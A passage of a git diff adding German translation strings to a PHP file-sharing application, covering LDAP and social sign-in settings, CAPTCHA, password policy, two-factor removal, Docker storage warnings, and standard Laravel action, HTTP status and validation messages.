your own certificate authority.": "Für ein Verzeichnis, das ein Zertifikat Ihrer eigenen Zertifizierungsstelle vorweist.", + "Unencrypted: the service account password and every client password cross the network in clear text.": "Unverschlüsselt: Das Passwort des Dienstkontos und jedes Kundenpasswort gehen im Klartext über das Netz.", + "When a client’s password is not recognised locally, it is checked against the directory. Staff accounts always authenticate locally and are never sent to it.": "Wird das Passwort eines Kunden lokal nicht erkannt, wird es gegen das Verzeichnis geprüft. Team-Konten authentifizieren sich immer lokal und werden nie dorthin gesendet.", + "The PHP LDAP extension is not installed on this server, so these settings cannot take effect.": "Die PHP-LDAP-Erweiterung ist auf diesem Server nicht installiert, daher können diese Einstellungen nicht wirksam werden.", + "The PHP LDAP extension is not installed on this server.": "Die PHP-LDAP-Erweiterung ist auf diesem Server nicht installiert.", + "Saves are not required to test — but the test uses the settings as last saved.": "Zum Testen ist kein Speichern nötig — der Test verwendet aber die zuletzt gespeicherten Einstellungen.", + "Test a sign-in": "Anmeldung testen", + "Email address (optional)": "E-Mail-Adresse (optional)", + "Password (optional)": "Passwort (optional)", + "Connected and bound as the service account.": "Verbunden und als Dienstkonto angemeldet.", + "Could not connect or bind as the service account: :error": "Verbindung oder Anmeldung als Dienstkonto nicht möglich: :error", + "Found a matching entry.": "Passenden Eintrag gefunden.", + "No directory entry matched that address under the base DN.": "Unter der Basis-DN gibt es keinen Verzeichniseintrag zu dieser Adresse.", + "The directory rejected that password.": "Das Verzeichnis hat dieses Passwort abgelehnt.", + "The search failed: :error": "Die Suche ist fehlgeschlagen: :error", + "The sign-in bind failed: :error": "Die Anmeldung ist fehlgeschlagen: :error", + "Signed in successfully.": "Erfolgreich angemeldet.", + "1 item": "1 Element", + ":count items": ":count Elemente", + "1 API token": "1 API-Token", + ":count API tokens": ":count API-Token", + "1 assigned client": "1 zugewiesener Kunde", + ":count assigned clients": ":count zugewiesene Kunden", + "Managed by 1 staff member": "Betreut von 1 Team-Mitglied", + "Managed by :count staff members": "Betreut von :count Team-Mitgliedern", + "1 group membership": "1 Gruppenmitgliedschaft", + ":count group memberships": ":count Gruppenmitgliedschaften", + "1 file shared with them": "1 mit ihnen geteilte Datei", + ":count files shared with them": ":count mit ihnen geteilte Dateien", + "Approve these accounts automatically": "Diese Konten automatisch genehmigen", + "Your directory has already established who they are, so there is nobody to vet. Leave this off to review each one in Account requests first.": "Ihr Verzeichnis hat die Identität bereits festgestellt, es gibt also niemanden zu prüfen. Lassen Sie dies aus, um jedes Konto zuerst unter Kontoanfragen zu sichten.", + "Clients who register themselves are approved automatically — this setting is separate, and does not follow it.": "Kunden, die sich selbst registrieren, werden automatisch genehmigt — diese Einstellung ist davon unabhängig und folgt dem nicht.", + "Clients who register themselves still wait for approval — this setting is separate, and does not change that.": "Kunden, die sich selbst registrieren, warten weiterhin auf Freigabe — diese Einstellung ist davon unabhängig und ändert daran nichts.", + "Container filesystem": "Container-Dateisystem", + "Docker volume": "Docker-Volume", + "Files stored on": "Dateien gespeichert auf", + "Host directory": "Host-Verzeichnis", + "That means docker compose down -v and docker volume prune both delete them, and a backup of your server can miss them entirely.": "Das bedeutet: docker compose down -v und docker volume prune löschen sie beide, und eine Sicherung Ihres Servers kann sie komplett übersehen.", + "They are not on any volume, so rebuilding or recreating this container will permanently delete every file. Move them to a directory on the host before uploading anything else.": "Sie liegen auf keinem Volume, daher löscht ein Neubau oder Neuanlegen dieses Containers endgültig jede Datei. Verschieben Sie sie in ein Verzeichnis auf dem Host, bevor Sie weiter hochladen.", + "They survive upgrades, but they live in a Docker-managed volume rather than a directory you chose.": "Sie überstehen Upgrades, liegen aber in einem von Docker verwalteten Volume statt in einem Verzeichnis Ihrer Wahl.", + "They survive upgrades, but they live in the Docker volume :volume rather than a directory you chose.": "Sie überstehen Upgrades, liegen aber im Docker-Volume :volume statt in einem Verzeichnis Ihrer Wahl.", + "Uploaded files are inside Docker": "Hochgeladene Dateien liegen in Docker", + "Uploaded files are stored inside the container": "Hochgeladene Dateien werden im Container gespeichert", + "1 more language available": "1 weitere Sprache verfügbar", + ":count more languages available": ":count weitere Sprachen verfügbar", + ":left of :limit downloads left": "noch :left von :limit Downloads übrig", + ":limit downloads per person": ":limit Downloads pro Person", + ":name will sign in with just their password until they set it up again, and will be emailed about this change. If two-factor authentication is required on this site, they will be asked to enrol again at their next sign-in.": ":name meldet sich nur noch mit dem Passwort an, bis die Einrichtung erneut erfolgt, und wird per E-Mail über diese Änderung informiert. Wenn auf dieser Website die Zwei-Faktor-Authentifizierung erforderlich ist, wird bei der nächsten Anmeldung erneut zur Einrichtung aufgefordert.", + ":provider accepted your secret key.": ":provider hat deinen geheimen Schlüssel akzeptiert.", + ":provider connected.": ":provider verbunden.", + ":provider did not provide an email address, which is required to sign in.": ":provider hat keine E-Mail-Adresse übermittelt, die für die Anmeldung erforderlich ist.", + ":provider disconnected.": ":provider getrennt.", + ":provider never reports whether an address is verified, so with this on it can create new accounts but can never sign in to an existing one. Connecting it from Settings while already signed in still works.": ":provider meldet nie, ob eine Adresse verifiziert ist. Mit dieser Option kann er daher neue Konten anlegen, sich aber nie bei einem bestehenden anmelden. Das Verbinden über die Einstellungen bei bereits angemeldeter Sitzung funktioniert weiterhin.", + ":provider rejected your secret key.": ":provider hat deinen geheimen Schlüssel abgelehnt.", + ":provider settings saved.": "Einstellungen für :provider gespeichert.", + ":used of :limit downloads used": ":used von :limit Downloads verbraucht", + "A :provider account was connected": "Ein :provider-Konto wurde verbunden", + "A :provider account was disconnected": "Ein :provider-Konto wurde getrennt", + "Accounts at :domain cannot sign in with :provider here.": "Konten von :domain können sich hier nicht mit :provider anmelden.", + "A client account was created from :provider": "Aus :provider wurde ein Kundenkonto erstellt", + "Allowed email domains": "Zulässige E-Mail-Domains", + "Allow signing in with :provider": "Anmeldung mit :provider erlauben", + "Always a client account. Staff accounts are only ever created by an administrator.": "Immer ein Kundenkonto. Team-Konten werden nur von einer Administratorin oder einem Administrator angelegt.", + "Always available — the application is written in English, so it needs no translation file.": "Immer verfügbar – die Anwendung ist in Englisch geschrieben und benötigt daher keine Übersetzungsdatei.", + "An account already uses this email address, and :provider did not confirm that you own it. Sign in with your password and connect :provider from your settings instead.": "Ein Konto verwendet diese E-Mail-Adresse bereits, und :provider hat nicht bestätigt, dass sie dir gehört. Melde dich stattdessen mit deinem Passwort an und verbinde :provider über deine Einstellungen.", + "An address the provider has not confirmed can never be matched to an account that already exists here. Turning this off means anyone who can register at your provider under someone else’s address can sign in as them.": "Eine Adresse, die der Anbieter nicht bestätigt hat, kann niemals einem hier bereits bestehenden Konto zugeordnet werden. Wenn du dies deaktivierst, könnte sich jede Person, die sich bei deinem Anbieter unter der Adresse einer anderen registrieren kann, als diese anmelden.", + "An administrator removed two-factor authentication from your account. You can set it up again from your security settings. Contact your administrator if this was not expected.": "Eine Administratorin oder ein Administrator hat die Zwei-Faktor-Authentifizierung von deinem Konto entfernt. Du kannst sie in deinen Sicherheitseinstellungen erneut einrichten. Wende dich an deine Administration, falls du das nicht erwartet hast.", + "Anyone who can reach a file sees the categories assigned to it — a client in their portal, or anyone holding a public or shared link. Signed-in clients can also filter their files by any category in this list. Only your team can create, rename or delete them.": "Jede Person, die eine Datei erreichen kann, sieht die ihr zugewiesenen Kategorien – eine Kundin im Portal oder jede Person mit einem öffentlichen oder geteilten Link. Angemeldete Kunden können ihre Dateien außerdem nach jeder Kategorie aus dieser Liste filtern. Nur dein Team kann sie erstellen, umbenennen oder löschen.", + "Applies whenever a password is chosen, not when one is used to sign in": "Gilt immer dann, wenn ein Passwort gewählt wird, nicht wenn eines zur Anmeldung verwendet wird", + "Approve those accounts automatically": "Diese Konten automatisch bestätigen", + "A secret is stored. Leave this blank to keep it.": "Ein Geheimnis ist gespeichert. Leer lassen, um es zu behalten.", + "At least :count characters.": "Mindestens :count Zeichen.", + "Between 0.0 (treat everyone as a bot) and 1.0 (treat everyone as human). The usual value is 0.5.": "Zwischen 0.0 (alle als Bot behandeln) und 1.0 (alle als Mensch behandeln). Der übliche Wert ist 0.5.", + "CAPTCHA": "CAPTCHA", + "CAPTCHA is currently switched off. Choose a provider and enter its keys to switch it on.": "Das CAPTCHA ist derzeit ausgeschaltet. Wähle einen Anbieter und gib seine Schlüssel ein, um es einzuschalten.", + "CAPTCHA settings saved.": "CAPTCHA-Einstellungen gespeichert.", + "Categories are visible outside your team": "Kategorien sind außerhalb deines Teams sichtbar", + "Change yours": "Deine ändern", + "Checks new passwords against the Have I Been Pwned breach corpus. The password itself never leaves this server — only the first five characters of its hash are sent.": "Prüft neue Passwörter gegen die Leak-Datenbank von Have I Been Pwned. Das Passwort selbst verlässt diesen Server nie – gesendet werden nur die ersten fünf Zeichen seines Hashes.", + "Checks the secret key with your provider. Nobody has to solve a challenge.": "Prüft den geheimen Schlüssel bei deinem Anbieter. Niemand muss eine Aufgabe lösen.", + "Client ID": "Client-ID", + "Client registration": "Kundenregistrierung", + "Client secret": "Client-Geheimnis", + "Cloudflare Turnstile": "Cloudflare Turnstile", + "Comma separated. Leave blank to allow any address.": "Durch Kommas getrennt. Leer lassen, um jede Adresse zuzulassen.", + "Comments from visitors": "Kommentare von Besuchern", + "Complete the security check and try again.": "Schließe die Sicherheitsprüfung ab und versuche es erneut.", + "Configure it myself": "Selbst einrichten", + "Connected": "Verbunden", + "Connected accounts": "Verbundene Konten", + "Connected the :provider account of \":subject\"": "Hat das :provider-Konto von „:subject“ verbunden", + "Continue with :provider": "Mit :provider fortfahren", + "Could not reach :provider: :error": "Konnte :provider nicht erreichen: :error", + "Created a client account from :provider on first sign-in": "Hat bei der ersten Anmeldung ein Kundenkonto aus :provider erstellt", + "Dates and times across the app are shown in this zone. Detected from your browser the first time you signed in.": "Datum und Uhrzeit werden in der gesamten App in dieser Zone angezeigt. Wurde bei deiner ersten Anmeldung von deinem Browser erkannt.", + "Default language": "Standardsprache", + "Directory (tenant) ID": "Verzeichnis-(Mandanten-)ID", + "Disabled": "Deaktiviert", + "Disconnect": "Trennen", + "Disconnected the :provider account of \":subject\"": "Hat das :provider-Konto von „:subject“ getrennt", + "Downloaded :count time(s) so far. Your own downloads never count.": "Bisher :count-mal heruntergeladen. Deine eigenen Downloads zählen nie mit.", + "Download limit": "Download-Limit", + "Download limit reached": "Download-Limit erreicht", + "Each person separately": "Jede Person einzeln", + "Enabled": "Aktiviert", + "Enter a secret key first.": "Gib zuerst einen geheimen Schlüssel ein.", + "Enter a specific tenant ID. The shared \"common\", \"organizations\" and \"consumers\" endpoints let any Microsoft tenant assert any email address.": "Gib eine bestimmte Mandanten-ID ein. Die gemeinsamen Endpunkte „common“, „organizations“ und „consumers“ erlauben es jedem Microsoft-Mandanten, jede E-Mail-Adresse zu behaupten.", + "Every language installed on this server is listed below. Tick the ones you want offered in the language menu — staff, clients and public visitors will only see those. Installing another language is a matter of adding its translation file to the lang folder.": "Unten sind alle auf diesem Server installierten Sprachen aufgeführt. Markiere die, die du im Sprachmenü anbieten möchtest – Team, Kunden und öffentliche Besucher sehen nur diese. Eine weitere Sprache zu installieren bedeutet, ihre Übersetzungsdatei in den Ordner lang zu legen.", + "Existing passwords are never re-checked, so raising this only affects passwords chosen from now on.": "Bestehende Passwörter werden nie erneut geprüft; ein höherer Wert wirkt sich daher nur auf ab jetzt gewählte Passwörter aus.", + "Facebook": "Facebook", + "GitHub": "GitHub", + "Google": "Google", + "In total, across everyone": "Insgesamt über alle hinweg", + "Issuer URL": "Aussteller-URL", + "Languages": "Sprachen", + "Language settings": "Spracheinstellungen", + "Leave empty for a file that can be downloaded any number of times.": "Leer lassen für eine Datei, die beliebig oft heruntergeladen werden kann.", + "Length is the single biggest factor in how hard a password is to guess, which is why there are no \"must contain a capital letter\" rules here — they push people towards predictable substitutions and shorter passwords.": "Die Länge ist der wichtigste Faktor dafür, wie schwer ein Passwort zu erraten ist – deshalb gibt es hier keine Regeln wie „muss einen Großbuchstaben enthalten“: Sie drängen Menschen zu vorhersehbaren Ersetzungen und kürzeren Passwörtern.", + "Let people sign in with an account they already have somewhere else.": "Lass Menschen sich mit einem Konto anmelden, das sie bereits woanders haben.", + "LinkedIn": "LinkedIn", + "Microsoft": "Microsoft", + "Minimum length": "Mindestlänge", + "No limit": "Kein Limit", + "None selected": "Nichts ausgewählt", + "No sign-in providers have been set up for this site.": "Für diese Website wurden keine Anmeldeanbieter eingerichtet.", + "Not connected": "Nicht verbunden", + "Off means they wait in Account requests. An address the provider did not verify always waits, whatever this says.": "Aus bedeutet, dass sie in den Kontoanfragen warten. Eine Adresse, die der Anbieter nicht verifiziert hat, wartet immer, unabhängig von dieser Einstellung.", + "Off — no CAPTCHA": "Aus – kein CAPTCHA", + "OpenID Connect": "OpenID Connect", + "Or continue with": "Oder weiter mit", + "Or sign up with": "Oder registrieren mit", + "Passwords": "Passwörter", + "Passwords that appear in known data breaches are not accepted.": "Passwörter, die in bekannten Datenlecks auftauchen, werden nicht akzeptiert.", + "Protection": "Schutz", + "Protect these forms": "Diese Formulare schützen", + "Protect your public forms from automated abuse": "Schütze deine öffentlichen Formulare vor automatisiertem Missbrauch", + "reCAPTCHA v2": "reCAPTCHA v2", + "reCAPTCHA v3": "reCAPTCHA v3", + "Redirect URI": "Weiterleitungs-URI", + "Register this exact address with :provider. It must match character for character.": "Registriere genau diese Adresse bei :provider. Sie muss Zeichen für Zeichen übereinstimmen.", + "Reject passwords found in known data breaches": "Passwörter aus bekannten Datenlecks ablehnen", + "Removed two-factor authentication from \":subject\"": "Hat die Zwei-Faktor-Authentifizierung von „:subject“ entfernt", + "Remove the limit": "Limit entfernen", + "Remove two-factor authentication": "Zwei-Faktor-Authentifizierung entfernen", + "Remove two-factor authentication?": "Zwei-Faktor-Authentifizierung entfernen?", + "Require a verified email address": "Eine verifizierte E-Mail-Adresse verlangen", + "Run these as the user your web server runs as. INSTALL.md has the full procedure.": "Führe diese als der Benutzer aus, unter dem dein Webserver läuft. INSTALL.md enthält die vollständige Anleitung.", + "Score threshold": "Score-Schwelle", + "Search timezones…": "Zeitzonen suchen…", + "Security check failed. Please try again.": "Die Sicherheitsprüfung ist fehlgeschlagen. Bitte versuche es erneut.", + "Service": "Dienst", + "Set a password for this account. It has never had one — it signs in through a connected provider, and a staff account needs a credential this application can check on its own.": "Lege ein Passwort für dieses Konto fest. Es hatte noch nie eines – es meldet sich über einen verbundenen Anbieter an, und ein Team-Konto braucht Zugangsdaten, die diese Anwendung selbst prüfen kann.", + "Signed-in visitors are never asked to solve a challenge when commenting.": "Angemeldete Besucher müssen beim Kommentieren nie eine Aufgabe lösen.", + "Sign in": "Anmelden", + "Sign in with an account you already have somewhere else.": "Melde dich mit einem Konto an, das du bereits woanders hast.", + "Site key": "Website-Schlüssel", + "Social login": "Social-Login", + "Stored encrypted and never shown again, not even to you.": "Verschlüsselt gespeichert und nie wieder angezeigt, auch dir nicht.", + "Stored — leave blank to keep it": "Gespeichert – leer lassen, um es zu behalten", + "Testing…": "Wird getestet…", + "Test keys": "Schlüssel testen", + "That :provider account is already connected to another account here.": "Dieses :provider-Konto ist hier bereits mit einem anderen Konto verbunden.", + "That sign-in could not be completed. Please try again.": "Diese Anmeldung konnte nicht abgeschlossen werden. Bitte versuche es erneut.", + "That sign-in method is not available.": "Diese Anmeldemethode ist nicht verfügbar.", + "The default language has to be one of the languages you are offering.": "Die Standardsprache muss eine der Sprachen sein, die du anbietest.", + "The endpoints are read from this address, so it is the whole configuration. Must be https.": "Die Endpunkte werden von dieser Adresse gelesen, sie ist also die gesamte Konfiguration. Muss https sein.", + "The expiry date must be in the future.": "Das Ablaufdatum muss in der Zukunft liegen.", + "The issuer URL must start with https://.": "Die Aussteller-URL muss mit https:// beginnen.", + "The public key. It appears in your pages’ source, which is expected.": "Der öffentliche Schlüssel. Er erscheint im Quelltext deiner Seiten, was zu erwarten ist.", + "There is no account here for that address.": "Für diese Adresse gibt es hier kein Konto.", + "The security check could not be loaded. Check that your browser or network is not blocking it, then reload the page.": "Die Sicherheitsprüfung konnte nicht geladen werden. Prüfe, ob dein Browser oder Netzwerk sie blockiert, und lade die Seite dann neu.", + "This account does not use an authenticator app.": "Dieses Konto verwendet keine Authenticator-App.", + "This account has never had a password of its own — it signs in through a connected provider. Staff need a credential this application can check on its own, so that a provider outage cannot lock them out.": "Dieses Konto hatte nie ein eigenes Passwort – es meldet sich über einen verbundenen Anbieter an. Das Team braucht Zugangsdaten, die diese Anwendung selbst prüfen kann, damit ein Ausfall des Anbieters es nicht aussperrt.", + "This account signs in with an authenticator app. Remove it only if the account holder has lost both the app and their recovery codes.": "Dieses Konto meldet sich mit einer Authenticator-App an. Entferne sie nur, wenn die Kontoinhaberin sowohl die App als auch ihre Wiederherstellungscodes verloren hat.", + "This file has reached its download limit.": "Diese Datei hat ihr Download-Limit erreicht.", + "This is the only way you can sign in. Set a password first, then disconnect :provider.": "Das ist die einzige Möglichkeit, wie du dich anmelden kannst. Lege zuerst ein Passwort fest und trenne dann :provider.", + "This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply.": "Diese Website ist durch reCAPTCHA geschützt, und es gelten die Datenschutzerklärung und die Nutzungsbedingungen von Google.", + "Those files have reached their download limit.": "Diese Dateien haben ihr Download-Limit erreicht.", + "Timezone": "Zeitzone", + "To update, back up your database and files, then:": "Zum Aktualisieren sichere deine Datenbank und deine Dateien, dann:", + "To update, follow the steps in INSTALL.md — back up first, then unpack the release and run the migrations.": "Zum Aktualisieren folge den Schritten in INSTALL.md – zuerst sichern, dann die Version entpacken und die Migrationen ausführen.", + "Turn this off only if this server should make no outbound requests. If the service cannot be reached the password is accepted anyway, so an offline installation is never blocked by it.": "Deaktiviere dies nur, wenn dieser Server keine ausgehenden Anfragen stellen soll. Ist der Dienst nicht erreichbar, wird das Passwort trotzdem akzeptiert, sodass eine Offline-Installation dadurch nie blockiert wird.", + "Two-factor authentication removed.": "Zwei-Faktor-Authentifizierung entfernt.", + "Two-factor authentication removed by an admin": "Zwei-Faktor-Authentifizierung von einer Administration entfernt", + "Two-factor authentication was removed by an administrator": "Die Zwei-Faktor-Authentifizierung wurde von einer Administratorin oder einem Administrator entfernt", + "Two-factor authentication was removed from your account": "Die Zwei-Faktor-Authentifizierung wurde von deinem Konto entfernt", + "Unexpected reply from :provider: :codes": "Unerwartete Antwort von :provider: :codes", + "Used for anyone who has not chosen a timezone of their own, including visitors to your public pages and share links. Each account can set its own in their profile.": "Wird für alle verwendet, die keine eigene Zeitzone gewählt haben, einschließlich Besuchern deiner öffentlichen Seiten und geteilten Links. Jedes Konto kann in seinem Profil eine eigene festlegen.", + "Use ProjectSend’s protection": "Den Schutz von ProjectSend verwenden", + "Use your own reCAPTCHA or Turnstile account.": "Verwende dein eigenes reCAPTCHA- oder Turnstile-Konto.", + "Verification could not be reached recently, so protected forms are being let through unchecked. Nobody is locked out.": "Die Verifizierung war zuletzt nicht erreichbar, daher werden geschützte Formulare ungeprüft durchgelassen. Niemand wird ausgesperrt.", + "We protect your public forms for you. Nothing to set up, no keys to manage.": "Wir schützen deine öffentlichen Formulare für dich. Nichts einzurichten, keine Schlüssel zu verwalten.", + "What people see before they have chosen anything. A signed-in account keeps its own choice, and a visitor whose browser asks for one of the languages above gets that one — this is the answer for everyone else.": "Was Menschen sehen, bevor sie etwas gewählt haben. Ein angemeldetes Konto behält seine eigene Wahl, und ein Besucher, dessen Browser eine der oben genannten Sprachen anfragt, erhält diese – dies ist die Antwort für alle anderen.", + "Which languages people can choose from": "Aus welchen Sprachen Menschen wählen können", + "Your account was created through one of these providers and has no password of its own, so the last connection cannot be removed. Set a password first if you want to disconnect it.": "Dein Konto wurde über einen dieser Anbieter erstellt und hat kein eigenes Passwort, daher kann die letzte Verbindung nicht entfernt werden. Lege zuerst ein Passwort fest, wenn du sie trennen möchtest.", + "Your own account is set to :timezone, so this will not change how dates look to you.": "Dein eigenes Konto ist auf :timezone eingestellt, daher ändert dies nicht, wie Datumsangaben für dich aussehen.", + "Your own tenant, not \"common\". Microsoft lets a user change the email address on their account, so a sign-in is only trustworthy when the token came from the tenant you named here.": "Dein eigener Mandant, nicht „common“. Microsoft erlaubt es Nutzern, die E-Mail-Adresse ihres Kontos zu ändern; eine Anmeldung ist daher nur vertrauenswürdig, wenn das Token von dem hier angegebenen Mandanten kam.", + "Your provider rejected this installation’s secret key, so protected forms are being let through unchecked. Check the secret key below.": "Dein Anbieter hat den geheimen Schlüssel dieser Installation abgelehnt, daher werden geschützte Formulare ungeprüft durchgelassen. Prüfe den geheimen Schlüssel unten.", + "Your public forms are protected. You can switch to your own keys at any time.": "Deine öffentlichen Formulare sind geschützt. Du kannst jederzeit zu deinen eigenen Schlüsseln wechseln." +} diff --git a/lang/de/actions.php b/lang/de/actions.php new file mode 100644 index 00000000..e0776b6d --- /dev/null +++ b/lang/de/actions.php @@ -0,0 +1,119 @@ + 'Akzeptieren', + 'action' => 'Aktion', + 'actions' => 'Aktionen', + 'add' => 'Hinzufügen', + 'admin' => 'Administrator', + 'agree' => 'Zustimmen', + 'archive' => 'Archiv', + 'assign' => 'Zuordnen', + 'associate' => 'Assoziieren', + 'attach' => 'Anfügen', + 'browse' => 'Durchsuche', + 'cancel' => 'Stornieren', + 'choose' => 'Wählen', + 'choose_file' => 'Datei wählen', + 'choose_image' => 'Wählen Sie Bild', + 'click_to_copy' => 'Klicken Sie zum Kopieren', + 'close' => 'Schließen', + 'collapse' => 'Zusammenbruch', + 'collapse_all' => 'Alles reduzieren', + 'comment' => 'Kommentar', + 'confirm' => 'Bestätigen', + 'connect' => 'Verbinden', + 'create' => 'Erstellen', + 'delete' => 'Löschen', + 'detach' => 'Ablösen', + 'details' => 'Einzelheiten', + 'disable' => 'Deaktivieren', + 'discard' => 'Verwerfen', + 'done' => 'Erledigt', + 'down' => 'Runter', + 'duplicate' => 'Duplikat', + 'edit' => 'Bearbeiten', + 'enable' => 'Aktivieren', + 'expand' => 'Expandieren', + 'expand_all' => 'Alle erweitern', + 'explanation' => 'Erläuterung', + 'export' => 'Exportieren', + 'file' => 'Datei', + 'files' => 'Dateien', + 'go_home' => 'Nach Hause gehen', + 'hide' => 'Verstecken', + 'home' => 'Heim', + 'image' => 'Bild', + 'impersonate' => 'Imitieren', + 'impersonation' => 'Identitätswechsel', + 'import' => 'Importieren', + 'introduction' => 'Einführung', + 'like' => 'Wie', + 'load' => 'Belastung', + 'localize' => 'Lokalisieren', + 'log_in' => 'Anmeldung', + 'log_out' => 'Ausloggen', + 'named' => [ + 'add' => ':name hinzufügen', + 'choose' => ':name auswählen', + 'create' => ':name erstellen', + 'delete' => ':name löschen', + 'duplicate' => ':name duplizieren', + 'edit' => ':name bearbeiten', + 'export' => ':name exportieren', + 'hide' => ':name ausblenden', + 'import' => ':name importieren', + 'new' => 'Neu :name', + 'restore' => ':name wiederherstellen', + 'save' => ':name speichern', + 'search' => ':name suchen', + 'show' => ':name anzeigen', + 'update' => ':name aktualisieren', + 'view' => ':name anzeigen', + ], + 'new' => 'Neu', + 'no' => 'Nein', + 'open' => 'Öffen', + 'open_website' => 'Auf der Website öffnen', + 'preview' => 'Vorschau', + 'price' => 'Preis', + 'record' => 'Aufzeichnen', + 'restore' => 'Wiederherstellen', + 'save' => 'Speichern', + 'save_and_close' => 'Speichern und schließen', + 'save_and_return' => 'Speichern und zurückgehen', + 'search' => 'Suchen', + 'select' => 'Wählen', + 'select_all' => 'Alles auswählen', + 'send' => 'Absenden', + 'settings' => 'Einstellungen', + 'show' => 'Anzeigen', + 'show_all' => 'Alles anzeigen', + 'sign_in' => 'Anmelden', + 'solve' => 'Lösen', + 'start' => 'Starten', + 'stop' => 'Stoppen', + 'submit' => 'Absenden', + 'subscribe' => 'Abonnieren', + 'switch' => 'Umschalten', + 'switch_to_role' => 'Zur Rolle wechseln', + 'tag' => 'Schlagwort', + 'tags' => 'Stichworte', + 'target_link' => [ + 'blank' => 'In einem neuen Fenster öffnen', + 'parent' => 'In einem übergeordneten Frame öffnen', + 'self' => 'In einem aktuellen Fenster öffnen', + 'top' => 'Im obersten Rahmen öffnen', + ], + 'translate' => 'Übersetzen', + 'translate_it' => 'Übersetze es', + 'unpack' => 'Entpacken', + 'unsubscribe' => 'Abbestellen', + 'up' => 'Hoch', + 'update' => 'Aktualisieren', + 'user' => 'Benutzer', + 'view' => 'Ansicht', + 'yes' => 'Ja', +]; diff --git a/lang/de/auth.php b/lang/de/auth.php new file mode 100644 index 00000000..b9b93be7 --- /dev/null +++ b/lang/de/auth.php @@ -0,0 +1,9 @@ + 'Diese Kombination aus Zugangsdaten wurde nicht in unserer Datenbank gefunden.', + 'password' => 'Das Passwort ist falsch.', + 'throttle' => 'Zu viele Loginversuche. Versuchen Sie es bitte in :seconds Sekunden nochmal.', +]; diff --git a/lang/de/http-statuses.php b/lang/de/http-statuses.php new file mode 100644 index 00000000..58a68cf4 --- /dev/null +++ b/lang/de/http-statuses.php @@ -0,0 +1,84 @@ + 'Unbekannter Fehler', + '100' => 'Weiter', + '101' => 'Protokollwechsel', + '102' => 'In Bearbeitung', + '200' => 'OK', + '201' => 'Erstellt', + '202' => 'Akzeptiert', + '203' => 'Nicht verifizierte Information', + '204' => 'Kein Inhalt', + '205' => 'Inhalt zurücksetzen', + '206' => 'Teilinhalt', + '207' => 'Multistatus', + '208' => 'Bereits gemeldet', + '226' => 'IM verwendet', + '300' => 'Mehrere Auswahlmöglichkeiten', + '301' => 'Permanent verschoben', + '302' => 'Gefunden', + '303' => 'Siehe andere Seite', + '304' => 'Nicht modifiziert', + '305' => 'Proxy verwenden', + '307' => 'Temporäre Weiterleitung', + '308' => 'Permanente Weiterleitung', + '400' => 'Ungültige Anfrage', + '401' => 'Nicht autorisiert', + '402' => 'Zahlung erforderlich', + '403' => 'Verboten', + '404' => 'Nicht gefunden', + '405' => 'Methode nicht erlaubt', + '406' => 'Nicht annehmbar', + '407' => 'Proxy-Authentifizierung erforderlich', + '408' => 'Zeitüberschreitung der Anfrage', + '409' => 'Konflikt', + '410' => 'Nicht mehr verfügbar', + '411' => 'Länge erforderlich', + '412' => 'Vorbedingung fehlgeschlagen', + '413' => 'Nutzlast zu groß', + '414' => 'URI zu lang', + '415' => 'Nicht unterstützter Medientyp', + '416' => 'Bereich nicht erfüllbar', + '417' => 'Erwartung gescheitert', + '418' => 'Ich bin eine Teekanne', + '419' => 'Sitzung ist abgelaufen', + '421' => 'Fehlgeleitete Anfrage', + '422' => 'Unverarbeitbare Entität', + '423' => 'Gesperrt', + '424' => 'Fehlgeschlagene Abhängigkeit', + '425' => 'Zu früh', + '426' => 'Upgrade erforderlich', + '428' => 'Voraussetzung erforderlich', + '429' => 'Zu viele Anfragen', + '431' => 'Anfrage-Header-Felder zu groß', + '444' => 'Verbindung ohne Antwort geschlossen', + '449' => 'Wiederhole mit', + '451' => 'Aus rechtlichen Gründen nicht verfügbar', + '499' => 'Client-Closed-Request', + '500' => 'Interner Serverfehler', + '501' => 'Nicht implementiert', + '502' => 'Fehlerhaftes Gateway', + '503' => 'Wartungsmodus', + '504' => 'Gateway-Zeitüberschreitung', + '505' => 'HTTP Version nicht unterstützt', + '506' => 'Variante verhandelt auch', + '507' => 'Nicht genügend Speicherplatz', + '508' => 'Endlosschleife erkannt', + '509' => 'Bandbreitenlimit überschritten', + '510' => 'Nicht erweitert', + '511' => 'Netzwerkauthentifizierung erforderlich', + '520' => 'Unbekannter Fehler', + '521' => 'Webserver ist ausgefallen', + '522' => 'Verbindung abgelaufen', + '523' => 'Quelle ist nicht erreichbar', + '524' => 'Eine Zeitüberschreitung ist aufgetreten', + '525' => 'SSL Handshake fehlgeschlagen', + '526' => 'Ungültiges SSL-Zertifikat', + '527' => 'Railgun-Fehler', + '598' => 'Zeitüberschreitungsfehler beim Lesen des Netzwerks', + '599' => 'Zeitüberschreitungsfehler bei Netzwerkverbindung', + 'unknownError' => 'Unbekannter Fehler', +]; diff --git a/lang/de/pagination.php b/lang/de/pagination.php new file mode 100644 index 00000000..c912b5d4 --- /dev/null +++ b/lang/de/pagination.php @@ -0,0 +1,8 @@ + 'Weiter »', + 'previous' => '« Zurück', +]; diff --git a/lang/de/passwords.php b/lang/de/passwords.php new file mode 100644 index 00000000..9634bddb --- /dev/null +++ b/lang/de/passwords.php @@ -0,0 +1,11 @@ + 'Das Passwort wurde zurückgesetzt!', + 'sent' => 'E-Mail zum Zurücksetzen des Passworts wurde gesendet!', + 'throttled' => 'Bitte warten Sie, bevor Sie es erneut versuchen.', + 'token' => 'Der Passwort-Wiederherstellungsschlüssel ist ungültig oder abgelaufen.', + 'user' => 'Es konnte leider kein Nutzer mit dieser E-Mail-Adresse gefunden werden.', +]; diff --git a/lang/de/validation.php b/lang/de/validation.php new file mode 100644 index 00000000..eb4eb213 --- /dev/null +++ b/lang/de/validation.php @@ -0,0 +1,288 @@ + ':Attribute muss akzeptiert werden.', + 'accepted_if' => ':Attribute muss akzeptiert werden, wenn :other :value ist.', + 'active_url' => ':Attribute ist keine gültige Internet-Adresse.', + 'after' => ':Attribute muss ein Datum nach :date sein.', + 'after_or_equal' => ':Attribute muss ein Datum nach :date oder gleich :date sein.', + 'alpha' => ':Attribute darf nur aus Buchstaben bestehen.', + 'alpha_dash' => ':Attribute darf nur aus Buchstaben, Zahlen, Binde- und Unterstrichen bestehen.', + 'alpha_num' => ':Attribute darf nur aus Buchstaben und Zahlen bestehen.', + 'any_of' => ':Attribute ist ungültig.', + 'array' => ':Attribute muss ein Array sein.', + 'ascii' => 'Die :attribute darf nur alphanumerische Single-Byte-Zeichen und -Symbole enthalten.', + 'before' => ':Attribute muss ein Datum vor :date sein.', + 'before_or_equal' => ':Attribute muss ein Datum vor :date oder gleich 